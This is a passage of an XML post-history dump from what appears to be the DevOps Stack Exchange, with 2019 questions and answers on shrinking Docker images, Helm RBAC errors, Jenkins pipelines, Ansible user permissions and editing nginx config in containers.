you remove files. This is why your `rm` commands have no effect on resulting disk space. Instead, you can chain the commands, like:&#xD;&#xA;&#xD;&#xA;    RUN apt-get update \&#xD;&#xA;     &amp;&amp; apt-get install -y \&#xD;&#xA;          a-package \&#xD;&#xA;          wget \&#xD;&#xA;     &amp;&amp; ... \&#xD;&#xA;     &amp;&amp; apt-get purge -y wget \&#xD;&#xA;     &amp;&amp; rm -r a-build-dir \&#xD;&#xA;     &amp;&amp; apt-get purge -y a-package&#xD;&#xA;&#xD;&#xA;Note that overuse of command chaining can slow down your builds since you need to reinstall the same toolset any time a prerequisite changes (e.g. the code being pulled with wget). See multi-stage below for a better alternative.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Any file you create that you do not need in your resulting image should be deleted, in the step that creates it. This includes package caches, logs, man pages, etc. To discover what files are being created in each layer, you can use a tool like wagoodman/dive (which I have not personally vetted and would express caution since it runs with full root access on your host), or you can build your docker images without pruning the intermediate containers and then view the diff with:&#xD;&#xA;&#xD;&#xA;    # first create and leave containers from any RUN step using options on build&#xD;&#xA;    docker image build --rm=false --no-cache . &#xD;&#xA;    # list all containers, particularly the exited ones from above&#xD;&#xA;    docker container ps -a &#xD;&#xA;    # examine any of those containers&#xD;&#xA;    docker container diff ${container_id} &#xD;&#xA;    # ... repeat the diff for other build steps&#xD;&#xA;    # then cleanup exited containers&#xD;&#xA;    docker container prune&#xD;&#xA;&#xD;&#xA;With each of those intermediate containers, the diff will show what files are added, changed, or deleted in that step (these are indicated with an `A`, `C`, or `D` before each filename). What diff is showing is the container specific read/write filesystem, which is any file changed by the container from the image state using copy-on-write.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The best way to reduce image size is eliminating any unneeded components, like compilers, from your shipped image. For that, multi-stage builds let you compile in one stage, and then copy only the resulting artifacts from the build stage to a runtime image that has only the minimum needed to run the application. This avoids the need to optimize any of the build steps since they are not shipped with the resulting image.&#xD;&#xA;&#xD;&#xA;    FROM debian:9 as build&#xD;&#xA;    # still chain update with install to prevent stale cache issues&#xD;&#xA;    RUN apt-get update \&#xD;&#xA;     &amp;&amp; apt-get install -y \&#xD;&#xA;          a-package \&#xD;&#xA;          wget \&#xD;&#xA;    RUN ... # perform any download/compile steps&#xD;&#xA;&#xD;&#xA;    FROM debian:9-slim as release&#xD;&#xA;    COPY --from=build /usr/local/bin/app /usr/local/bin/app&#xD;&#xA;    CMD [ &quot;/usr/local/bin/app&quot; ]&#xD;&#xA;&#xD;&#xA;Multi-stage is ideal with statically compiled binaries which you can run with scratch as your base image, or transitioning from a compile environment like JDK to a runtime like JRE. This is the easiest way to dramatically reduce your image size while still having fast builds. You may still perform chaining of steps in your release stage if you have steps that change or delete files created in previous steps, but for the most part, the `COPY` from another stage isolates the release stage from any layer bloat experienced in the earlier build stages.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Note, I do not recommend squashing images since this reduces the size of one image at the expense of eliminating layer reuse. That means future builds of the same image will require more disk and network traffic to send updates. To go back to the first example, squashing may reduce your image from 2 GB to 1 GB, but not 3 images may take up 3 GB instead of the 2.1 GB.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23357" PostHistoryTypeId="2" PostId="8047" RevisionGUID="d5da86fb-41f9-4385-9c93-b10af098698b" CreationDate="2019-05-07T13:18:10.120" UserId="3429" Text="I installed Kubernetes, helm on the Ubuntu 16.04.6 Box, I want to deploy kubernetes-dashboard using helm but getting below error while installing it&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ helm install stable/kubernetes-dashboard --name dashboard-demo&#xD;&#xA;Error: release dashboard-demo failed: namespaces &quot;default&quot; is forbidden: User &quot;system:serviceaccount:kube-system:default&quot; cannot get resource &quot;namespaces&quot; in API group &quot;&quot; in the namespace &quot;default&quot;&#xD;&#xA;&#xD;&#xA;$ helm list&#xD;&#xA;Error: configmaps is forbidden: User &quot;system:serviceaccount:kube-system:default&quot; cannot list resource &quot;configmaps&quot; in API group &quot;&quot; in the namespace &quot;kube-system&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Tools Version:&#xD;&#xA;```&#xD;&#xA;$ kubectl version&#xD;&#xA;Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;14&quot;, GitVersion:&quot;v1.14.1&quot;, GitCommit:&quot;b7394102d6ef778017f2ca4046abbaa23b88c290&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-04-08T17:11:31Z&quot;, GoVersion:&quot;go1.12.1&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;Server Version: version.Info{Major:&quot;1&quot;, Minor:&quot;14&quot;, GitVersion:&quot;v1.14.1&quot;, GitCommit:&quot;b7394102d6ef778017f2ca4046abbaa23b88c290&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-04-08T17:02:58Z&quot;, GoVersion:&quot;go1.12.1&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;&#xD;&#xA;$ helm version&#xD;&#xA;Client: &amp;version.Version{SemVer:&quot;v2.13.1&quot;, GitCommit:&quot;618447cbf203d147601b4b9bd7f8c37a5d39fbb4&quot;, GitTreeState:&quot;clean&quot;}&#xD;&#xA;Server: &amp;version.Version{SemVer:&quot;v2.13.1&quot;, GitCommit:&quot;618447cbf203d147601b4b9bd7f8c37a5d39fbb4&quot;, GitTreeState:&quot;clean&quot;}&#xD;&#xA;&#xD;&#xA;$ kubectl get pods --all-namespaces&#xD;&#xA;NAMESPACE     NAME                                       READY   STATUS             RESTARTS   AGE&#xD;&#xA;kube-system   calico-kube-controllers-58dc446999-zrwz6   1/1     Running            0          4h41m&#xD;&#xA;kube-system   calico-node-wjczq                          1/1     Running            0          4h41m&#xD;&#xA;kube-system   coredns-fb8b8dccf-fp9gx                    1/1     Running            0          4h41m&#xD;&#xA;kube-system   coredns-fb8b8dccf-q574t                    1/1     Running            0          4h41m&#xD;&#xA;kube-system   etcd-ubuntu1                               1/1     Running            1          4h40m&#xD;&#xA;kube-system   kube-apiserver-ubuntu1                     1/1     Running            1          4h40m&#xD;&#xA;kube-system   kube-controller-manager-ubuntu1            1/1     Running            2          4h40m&#xD;&#xA;kube-system   kube-proxy-ztmms                           1/1     Running            1          4h41m&#xD;&#xA;kube-system   kube-scheduler-ubuntu1                     1/1     Running            2          4h41m&#xD;&#xA;kube-system   tiller-deploy-864c6f45bb-2585b             1/1     Running            0          6m55s&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;helm updated to latest version.&#xD;&#xA;&#xD;&#xA;I followed this : https://stackoverflow.com/questions/46672523/helm-list-cannot-list-configmaps-in-the-namespace-kube-system but still facing same issue, how can we fixed it ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23358" PostHistoryTypeId="1" PostId="8047" RevisionGUID="d5da86fb-41f9-4385-9c93-b10af098698b" CreationDate="2019-05-07T13:18:10.120" UserId="3429" Text="helm - cannot get resource &quot;namespaces&quot; in API group" ContentLicense="CC BY-SA 4.0" />
  <row Id="23359" PostHistoryTypeId="3" PostId="8047" RevisionGUID="d5da86fb-41f9-4385-9c93-b10af098698b" CreationDate="2019-05-07T13:18:10.120" UserId="3429" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23363" PostHistoryTypeId="2" PostId="8049" RevisionGUID="72eaa686-4daf-4edd-9334-9ae47f44bbdb" CreationDate="2019-05-07T16:49:59.943" UserId="47" Text="I'm not a Windows user, but I'd start at [Comparison of GUI testing tools][1], looking for those supporting Windows for both **testing** and **tested** system.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Comparison_of_GUI_testing_tools" ContentLicense="CC BY-SA 4.0" />
  <row Id="23365" PostHistoryTypeId="2" PostId="8050" RevisionGUID="820f06ff-2d9d-42a0-93e8-d447360cc434" CreationDate="2019-05-07T18:28:42.450" UserId="14791" Text="I figured it out. I was cloning directly into the workspace and then setting my environment variables to point to the workspace as well. I modified both those things. I now create a dir in my workspace and clone into it and I also set my environment variables to directories inside my workspace. Like so:&#xD;&#xA;&#xD;&#xA;    node('build-01') {&#xD;&#xA;        withEnv([&quot;CMAKE_INSTALL_DIR=${WORKSPACE}/cmake_install&quot;, &quot;SDK_INSTALL_DIR=${WORKSPACE}/sdk&quot;]){&#xD;&#xA;            stage('Building') {&#xD;&#xA;                echo &quot;[*] Starting build (id: ${env.BUILD_ID}) on ${env.JENKINS_URL}&quot;&#xD;&#xA;                try {&#xD;&#xA;                    sh 'ls -l'&#xD;&#xA;                    //ls shows the damn file&#xD;&#xA;                    sh '. ./setup-target'&#xD;&#xA;                } catch(all) { &#xD;&#xA;                    sh &quot;echo 'Failed to run setup-target script with error: ' ${all}&quot;&#xD;&#xA;                }&#xD;&#xA;            }    &#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This works. &#xD;&#xA;&#xD;&#xA;Note: Since this site is in beta phase and I barely got any views I posted the same question to stackoverflow, here it is for refernce: https://stackoverflow.com/questions/56015463/set-environment-variables-then-run-script-in-jenkins-scripted-pipeline " ContentLicense="CC BY-SA 4.0" />
  <row Id="23366" PostHistoryTypeId="2" PostId="8051" RevisionGUID="306f9b8b-faff-4782-915c-53e823100618" CreationDate="2019-05-07T18:29:14.157" UserId="14809" Text="While I'd normally agree with the other answers that Kubernetes is overkill, [KubeSail][1] simplifies it as much as possible in order to make it easy to run tasks like yours. There is a free tier that should let you run your job indefinitely. You just need to log in with GitHub, get your [Kube config][2], and then you can use the following:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: batch/v1&#xD;&#xA;kind: Job&#xD;&#xA;metadata:&#xD;&#xA;  name: my-python-script&#xD;&#xA;spec:&#xD;&#xA;  template:&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: pi&#xD;&#xA;        image: asciimo/my-python-image&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Just save out the above to `my-job.yaml`, replacing `image: asciimo/my-python-image` with the name of your image on dockerhub (or another registry), then run&#xD;&#xA;&#xD;&#xA;    kubectl apply -f my-job.yaml&#xD;&#xA;&#xD;&#xA;If you wanted to learn more about Jobs, the Kubernetes docs contain a lot more info and options: https://kubernetes.io/docs/concepts/workloads/controllers/jobs-run-to-completion/&#xD;&#xA;&#xD;&#xA;_Full disclosure, I am one of the KubeSail Founders_&#xD;&#xA;&#xD;&#xA;  [1]: https://kubesail.com&#xD;&#xA;  [2]: https://kubesail.com/config&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23367" PostHistoryTypeId="2" PostId="8052" RevisionGUID="633074b7-2974-480c-82b4-f64fce1e7d18" CreationDate="2019-05-07T18:38:38.343" UserId="7837" Text="This seems to be the right idea: https://stackoverflow.com/questions/29328278/installing-jenkins-plugins-to-docker-jenkins/29328489#29328489&#xD;&#xA;&#xD;&#xA;so in the Dockerfile you'd just use:&#xD;&#xA;&#xD;&#xA;    COPY plugins.txt /usr/share/jenkins/plugins.txt&#xD;&#xA;    RUN /usr/local/bin/install-plugins.sh &lt; /usr/share/jenkins/plugins.txt&#xD;&#xA;&#xD;&#xA;I tried it and it worked for me.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23368" PostHistoryTypeId="5" PostId="8051" RevisionGUID="6ef09b85-6b95-4bd8-9d62-dfef9f594c47" CreationDate="2019-05-07T19:01:18.023" UserId="14809" Comment="typo in yaml config" Text="While I'd normally agree with the other answers that Kubernetes is overkill, [KubeSail][1] simplifies it as much as possible in order to make it easy to run tasks like yours. There is a free tier that should let you run your job indefinitely. You just need to log in with GitHub, get your [Kube config][2], and then you can use the following:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: batch/v1&#xD;&#xA;kind: Job&#xD;&#xA;metadata:&#xD;&#xA;  name: my-python-script&#xD;&#xA;spec:&#xD;&#xA;  template:&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: my-python-script&#xD;&#xA;        image: asciimo/my-python-image&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Just save out the above to `my-job.yaml`, replacing `image: asciimo/my-python-image` with the name of your image on dockerhub (or another registry), then run&#xD;&#xA;&#xD;&#xA;    kubectl apply -f my-job.yaml&#xD;&#xA;&#xD;&#xA;If you wanted to learn more about Jobs, the Kubernetes docs contain a lot more info and options: https://kubernetes.io/docs/concepts/workloads/controllers/jobs-run-to-completion/&#xD;&#xA;&#xD;&#xA;_Full disclosure, I am one of the KubeSail Founders_&#xD;&#xA;&#xD;&#xA;  [1]: https://kubesail.com&#xD;&#xA;  [2]: https://kubesail.com/config&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23369" PostHistoryTypeId="2" PostId="8053" RevisionGUID="41c7b2fa-4f02-4570-adbc-dc0f95a4536b" CreationDate="2019-05-07T19:05:48.753" UserId="4115" Text="I recommend using the [Bitbucket Branch Source Plugin](https://wiki.jenkins.io/display/JENKINS/Bitbucket+Branch+Source+Plugin) which gives much better control over push build triggers than the default Pipeline job type.&#xD;&#xA;&#xD;&#xA;The problem with your current setup is that the &quot;branch to build&quot; setting only configures the branch of the repository that Jenkins checks out, not necessarily which branches will trigger a build." ContentLicense="CC BY-SA 4.0" />
  <row Id="23370" PostHistoryTypeId="5" PostId="8050" RevisionGUID="8cdc5f78-ff9a-4bbf-8967-88a728544820" CreationDate="2019-05-07T23:21:12.350" UserId="14791" Comment="Added missing line in code." Text="I figured it out. I was cloning directly into the workspace and then setting my environment variables to point to the workspace as well. I modified both those things. I now create a dir in my workspace and clone into it and I also set my environment variables to directories inside my workspace. Like so:&#xD;&#xA;&#xD;&#xA;    node('build-01') {&#xD;&#xA;        withEnv([&quot;CMAKE_INSTALL_DIR=${WORKSPACE}/cmake_install&quot;, &quot;SDK_INSTALL_DIR=${WORKSPACE}/sdk&quot;]){&#xD;&#xA;            stage('Building') {&#xD;&#xA;                echo &quot;[*] Starting build (id: ${env.BUILD_ID}) on ${env.JENKINS_URL}&quot;&#xD;&#xA;                try {&#xD;&#xA;                    sh 'ls -l'&#xD;&#xA;                    //ls shows the damn file&#xD;&#xA;                    dir('path/to/checkout') {&#xD;&#xA;                        sh '. ./setup-target'&#xD;&#xA;                    }&#xD;&#xA;                } catch(all) { &#xD;&#xA;                    sh &quot;echo 'Failed to run setup-target script with error: ' ${all}&quot;&#xD;&#xA;                }&#xD;&#xA;            }    &#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This works. &#xD;&#xA;&#xD;&#xA;Note: Since this site is in beta phase and I barely got any views I posted the same question to stackoverflow, here it is for refernce: https://stackoverflow.com/questions/56015463/set-environment-variables-then-run-script-in-jenkins-scripted-pipeline " ContentLicense="CC BY-SA 4.0" />
  <row Id="23371" PostHistoryTypeId="2" PostId="8054" RevisionGUID="e3e59689-8945-4ef2-9fd5-2c9799113d4f" CreationDate="2019-05-08T03:11:42.107" UserId="14770" Text="for example, I have a tag named 'installagent' and i want to run this command `ansible -playbook -i /path  agent.yml --tags installagent` from another server via ssh on my Ansible server with user 'testusr'. what should i do?  &#xD;&#xA;&#xD;&#xA;can i limit 'testusr' to only use specific tags?  &#xD;&#xA;( I read somewhere that i should give `sudo` permission to that user. if its true what should i do if i don't want to give `sudo` permission?)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23372" PostHistoryTypeId="1" PostId="8054" RevisionGUID="e3e59689-8945-4ef2-9fd5-2c9799113d4f" CreationDate="2019-05-08T03:11:42.107" UserId="14770" Text="how to give a user privilege to run Ansible commands or just an specific tag?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23373" PostHistoryTypeId="3" PostId="8054" RevisionGUID="e3e59689-8945-4ef2-9fd5-2c9799113d4f" CreationDate="2019-05-08T03:11:42.107" UserId="14770" Text="&lt;ansible&gt;&lt;linux&gt;&lt;permissions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23374" PostHistoryTypeId="2" PostId="8055" RevisionGUID="a7b05ec6-2ce7-4974-a963-afc411b3f659" CreationDate="2019-05-08T03:54:02.417" UserId="7715" Text="There is no tool in Ansible to authorize a user to execute selected tags only.&#xD;&#xA;&#xD;&#xA;It seems a good idea to use sudo to authorize [user to execute selective commands](https://superuser.com/questions/767415/limit-user-to-execute-selective-commands-linux)." ContentLicense="CC BY-SA 4.0" />
  <row Id="23375" PostHistoryTypeId="5" PostId="8055" RevisionGUID="89829104-a6f3-4f77-9955-7460473d01b6" CreationDate="2019-05-08T03:59:33.380" UserId="7715" Comment="added 12 characters in body" Text="There is no tool in Ansible to authorize a user to execute selected commands or tags only.&#xD;&#xA;&#xD;&#xA;It seems a good idea to use sudo to authorize [user to execute selective commands](https://superuser.com/questions/767415/limit-user-to-execute-selective-commands-linux)." ContentLicense="CC BY-SA 4.0" />
  <row Id="23376" PostHistoryTypeId="2" PostId="8056" RevisionGUID="c97b3f76-96c8-466e-bae7-b408756700ca" CreationDate="2019-05-08T04:56:49.887" UserId="14775" Text="I have fixed this partially by updating the routes.txt file in the installation folder for the client app by adding an entry for the subnet used by the gateway to assign IP address to new logins.&#xD;&#xA;&#xD;&#xA;While this now routes to the correct PC when RDPing, unfortunately a new IP is assigned to the PC every time it connects to the VPN, making it difficult to know the IP address when connecting." ContentLicense="CC BY-SA 4.0" />
  <row Id="23385" PostHistoryTypeId="2" PostId="8059" RevisionGUID="ce4764ad-32fd-4109-87aa-f464a5b45ce5" CreationDate="2019-05-08T07:33:41.087" UserId="14816" Text="I'm having trouble figuring out how to edit `nginx.conf` inside NGINX open source Docker container.&#xD;&#xA;&#xD;&#xA;I'm trying to follow the directions here:&#xD;&#xA;&#xD;&#xA;https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-docker/#maintaining-content-and-configuration-files-in-the-container&#xD;&#xA;&#xD;&#xA;I've gotten through all 4 steps succcessfully. I have SSH access using the helper `mynginx4_files` container.&#xD;&#xA;&#xD;&#xA;This part confuses me, though:&#xD;&#xA;&#xD;&#xA;&gt; * the /bin/bash argument means that the bash shell runs in the helper&#xD;&#xA;&gt; container, presenting a shell prompt that you can use to modify files&#xD;&#xA;&gt; as needed&#xD;&#xA;&#xD;&#xA;This sounds good! Unfortunately, I don't see any way I can modify `nginx.conf`. There's no text editor that I can see. I don't see `vi` or `emacs` or anything else. (I searched through all 4 'bin' directories, and `whereis` and `find` didn't turn up anything for `vi`.) I tried to install `vi` using `apt-get` but was unsuccessful. I even tried ubuntu instead of debian, but even with ubuntu there is no text editor. I thought vi is standard on all Linux distributions. I don't know what's up, but I feel like I'm missing something big here. Any help greatly appreciated.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23386" PostHistoryTypeId="1" PostId="8059" RevisionGUID="ce4764ad-32fd-4109-87aa-f464a5b45ce5" CreationDate="2019-05-08T07:33:41.087" UserId="14816" Text="Docker NGINX issue -- unable to edit nginx.conf" ContentLicense="CC BY-SA 4.0" />
  <row Id="23387" PostHistoryTypeId="3" PostId="8059" RevisionGUID="ce4764ad-32fd-4109-87aa-f464a5b45ce5" CreationDate="2019-05-08T07:33:41.087" UserId="14816" Text="&lt;docker&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23389" PostHistoryTypeId="2" PostId="8060" RevisionGUID="c1d604ac-8f1d-4d37-826d-d5d0c0444b13" CreationDate="2019-05-08T09:01:17.960" UserId="13226" Text="I suggest you mount your conf file as a volume:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run -v nginx.conf:/etc/nginx/nginx.conf ....&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This way you can easily change the file outside the container and then just restart the container. If you change your config file inside the container and then you should have to restart nginx to pick-up the changes. At that point your container will stop because you stopped the main process.&#xD;&#xA;&#xD;&#xA;Your local nginx.conf should already have the initial configuration which you can copy from inside the container (cat /etc/nginx/nginx.conf)." ContentLicense="CC BY-SA 4.0" />
  <row Id="23390" PostHistoryTypeId="2" PostId="8061" RevisionGUID="8529aad7-0c2a-48e0-82a6-fa8c249db7b2" CreationDate="2019-05-08T09:06:43.927" UserId="13226" Text="You need to remove the volumes all together. Files are copied by your Dockerfile build:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: '3'&#xD;&#xA;services:&#xD;&#xA;  web:&#xD;&#xA;    build: .&#xD;&#xA;    command: npm start&#xD;&#xA;    ports:&#xD;&#xA;      - 80:8080&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="23392" PostHistoryTypeId="2" PostId="8062" RevisionGUID="45cec46e-a06c-4f1c-b46d-c739aae53cf7" CreationDate="2019-05-08T09:51:52.587" UserId="14821" Text="We're looking to build an internal Heroku-like PaaS that supports clustering and a DFS. We found Deis Workflow that seems to do exactly what we're looking for, but the project has since been discontinued. &#xD;&#xA;&#xD;&#xA;Are there any alternatives that are similar to Deis Workflow that achieve the same thing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23393" PostHistoryTypeId="1" PostId="8062" RevisionGUID="45cec46e-a06c-4f1c-b46d-c739aae53cf7" CreationDate="2019-05-08T09:51:52.587" UserId="14821" Text="Deis Workflow Alternative" ContentLicense="CC BY-SA 4.0" />
  <row Id="23394" PostHistoryTypeId="3" PostId="8062" RevisionGUID="45cec46e-a06c-4f1c-b46d-c739aae53cf7" CreationDate="2019-05-08T09:51:52.587" UserId="14821" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;orchestration&gt;&lt;platform-as-a-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23395" PostHistoryTypeId="5" PostId="8046" RevisionGUID="ddad3b96-0fd2-420a-b7de-27f43feb51a7" CreationDate="2019-05-08T12:02:05.990" UserId="7730" Comment="added 210 characters in body" Text="There's a variety of techniques involved, with no single solution. You will likely want to do several of the following:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;First, optimize your image layers for reuse. Put frequently changing steps later in the Dockerfile to increase the chances that early layers are cached from previous builds. A reused layer will show up as more disk space in a `docker image ls`, but if you examine the underlying filesystem, only one copy of each layer is ever stored on disk. That means 3 images of 2 GB each, but which only have 50 MB different in the last few layers the build, will only take up 2.1 GB of disk space, even though the listing makes it appear that they are using 6 GB since you are double counting each of the reused layers.&#xD;&#xA;&#xD;&#xA;Layer reuse is why you see images with infrequently changing build dependencies install those first before copying in code. See any python example that has a pattern like:&#xD;&#xA;&#xD;&#xA;    FROM python&#xD;&#xA;    WORKDIR /app&#xD;&#xA;    COPY requirements.txt .&#xD;&#xA;    RUN pip install -r requirements.txt&#xD;&#xA;    # note how the code is copied only after the pip install&#xD;&#xA;    # since code changes but requirements.txt doesn't&#xD;&#xA;    COPY . .&#xD;&#xA;    CMD [&quot;gunicorn&quot;, &quot;app:app&quot;]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Pick a minimal base image. This is why you see people go from `ubuntu` to `debian:slim` (the slim variants are smaller, shipping with fewer tools), or even `alpine`. This reduces the size of your starting point, and is very helpful if you are constantly pulling new versions of the base image. However, if your base image rarely changes, layer reuse removes much of the advantage of a minimal base image.&#xD;&#xA;&#xD;&#xA;The smallest base image you can pick is `scratch`, which is nothing, no shell or libraries, and is only useful with statically compiled binaries. Otherwise, pick a base image that includes the tools you need without lots of tools you don't need.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Next, any step that changes or deletes a file should be combined with previous steps that create that file. Otherwise the layered filesystem, which uses copy-on-write even on things like a file permission change, will have the original file in a previous layer and the image size will not shrink when you remove files. This is why your `rm` commands have no effect on resulting disk space. Instead, you can chain the commands, like:&#xD;&#xA;&#xD;&#xA;    RUN apt-get update \&#xD;&#xA;     &amp;&amp; apt-get install -y \&#xD;&#xA;          a-package \&#xD;&#xA;          wget \&#xD;&#xA;     &amp;&amp; ... \&#xD;&#xA;     &amp;&amp; apt-get purge -y wget \&#xD;&#xA;     &amp;&amp; rm -r a-build-dir \&#xD;&#xA;     &amp;&amp; apt-get purge -y a-package&#xD;&#xA;&#xD;&#xA;Note that overuse of command chaining can slow down your builds since you need to reinstall the same toolset any time a prerequisite changes (e.g. the code being pulled with wget). See multi-stage below for a better alternative.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Any file you create that you do not need in your resulting image should be deleted, in the step that creates it. This includes package caches, logs, man pages, etc. To discover what files are being created in each layer, you can use a tool like wagoodman/dive (which I have not personally vetted and would express caution since it runs with full root access on your host), or you can build your docker images without pruning the intermediate containers and then view the diff with:&#xD;&#xA;&#xD;&#xA;    # first create and leave containers from any RUN step using options on build&#xD;&#xA;    docker image build --rm=false --no-cache -t image_name . &#xD;&#xA;    # review which layers use an unexpectedly large amount of space&#xD;&#xA;    docker image history image_name&#xD;&#xA;    # list all containers, particularly the exited ones from above&#xD;&#xA;    docker container ps -a &#xD;&#xA;    # examine any of those containers&#xD;&#xA;    docker container diff ${container_id} &#xD;&#xA;    # ... repeat the diff for other build steps&#xD;&#xA;    # then cleanup exited containers&#xD;&#xA;    docker container prune&#xD;&#xA;&#xD;&#xA;With each of those intermediate containers, the diff will show what files are added, changed, or deleted in that step (these are indicated with an `A`, `C`, or `D` before each filename). What diff is showing is the container specific read/write filesystem, which is any file changed by the container from the image state using copy-on-write.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The best way to reduce image size is eliminating any unneeded components, like compilers, from your shipped image. For that, multi-stage builds let you compile in one stage, and then copy only the resulting artifacts from the build stage to a runtime image that has only the minimum needed to run the application. This avoids the need to optimize any of the build steps since they are not shipped with the resulting image.&#xD;&#xA;&#xD;&#xA;    FROM debian:9 as build&#xD;&#xA;    # still chain update with install to prevent stale cache issues&#xD;&#xA;    RUN apt-get update \&#xD;&#xA;     &amp;&amp; apt-get install -y \&#xD;&#xA;          a-package \&#xD;&#xA;          wget \&#xD;&#xA;    RUN ... # perform any download/compile steps&#xD;&#xA;&#xD;&#xA;    FROM debian:9-slim as release&#xD;&#xA;    COPY --from=build /usr/local/bin/app /usr/local/bin/app&#xD;&#xA;    CMD [ &quot;/usr/local/bin/app&quot; ]&#xD;&#xA;&#xD;&#xA;Multi-stage is ideal with statically compiled binaries which you can run with scratch as your base image, or transitioning from a compile environment like JDK to a runtime like JRE. This is the easiest way to dramatically reduce your image size while still having fast builds. You may still perform chaining of steps in your release stage if you have steps that change or delete files created in previous steps, but for the most part, the `COPY` from another stage isolates the release stage from any layer bloat experienced in the earlier build stages.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Note, I do not recommend squashing images since this reduces the size of one image at the expense of eliminating layer reuse. That means future builds of the same image will require more disk and network traffic to send updates. To go back to the first example, squashing may reduce your image from 2 GB to 1 GB, but not 3 images may take up 3 GB instead of the 2.1 GB.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23397" PostHistoryTypeId="2" PostId="8063" RevisionGUID="aa46d880-ed9b-4849-977d-243b55ec50c9" CreationDate="2019-05-08T13:45:52.673" UserId="14820" Text="I met the same situation. I have login1 for my machine, passwordless sudo and login2, under which I should perform some actions. I did not solve it by ansible means. But I made such a workaround:&#xD;&#xA;&#xD;&#xA;    - name: &quot;Install nvm&quot;&#xD;&#xA;      shell: sudo -u buildkite-agent bash -c &quot;&lt;my commands to be performed on behalf of buildkite-agent&gt;&quot;&#xD;&#xA;      become: true&#xD;&#xA;&#xD;&#xA;Such a case:&#xD;&#xA;&#xD;&#xA;    - name: &quot;Install nvm&quot;&#xD;&#xA;      shell: sudo -u buildkite-agent &lt;my commands to be performed on behalf of buildkite-agent&gt;&#xD;&#xA;      become: true&#xD;&#xA;&#xD;&#xA;do not change home to buildkite-agent's home, i.e. uses /root as home." ContentLicense="CC BY-SA 4.0" />
  <row Id="23398" PostHistoryTypeId="2" PostId="8064" RevisionGUID="9be341b5-1a5d-429a-bf90-c1d639368c76" CreationDate="2019-05-08T13:46:40.430" UserId="14747" Text="I am writing [an R package](https://github.com/alan-turing-institute/PosteriorBootstrap/) with tests using the `testthat` package. The tests pass locally and on Travis.&#xD;&#xA;&#xD;&#xA;I want to plot the benefit of parallelisation on up to 24 cores, so I set up a virtual machine programmatically on Azure:&#xD;&#xA;&#xD;&#xA;    az vm create \&#xD;&#xA;       --resource-group rgName \&#xD;&#xA;       --name test \&#xD;&#xA;       --image microsoft-dsvm:linux-data-science-vm-ubuntu:linuxdsvmubuntu:18.12.01 \&#xD;&#xA;       --size Standard_NV24 \&#xD;&#xA;       --admin-username azureuser \&#xD;&#xA;        --generate-ssh-keys&#xD;&#xA;&#xD;&#xA;I call `devtools::test()` and the virtual machine gets stuck at `testthat` for hours with 0% CPU usage:&#xD;&#xA;&#xD;&#xA;    ✔  checking for unstated dependencies in ‘tests’ ...&#xD;&#xA;    ─  checking tests ...&#xD;&#xA;       Running ‘testthat.R’&#xD;&#xA;&#xD;&#xA;`devtools::test()` has no specific arguments to print some output, and it calls `testthat::test_dir()`, which also has no arguments to print output.&#xD;&#xA;&#xD;&#xA;When I remove the tests, the code stalls in a function call. I stopped and relaunched multiple times, so I think it's a problem with Azure.&#xD;&#xA;&#xD;&#xA;How can I fix it?" ContentLicense="CC BY-SA 4.0" />
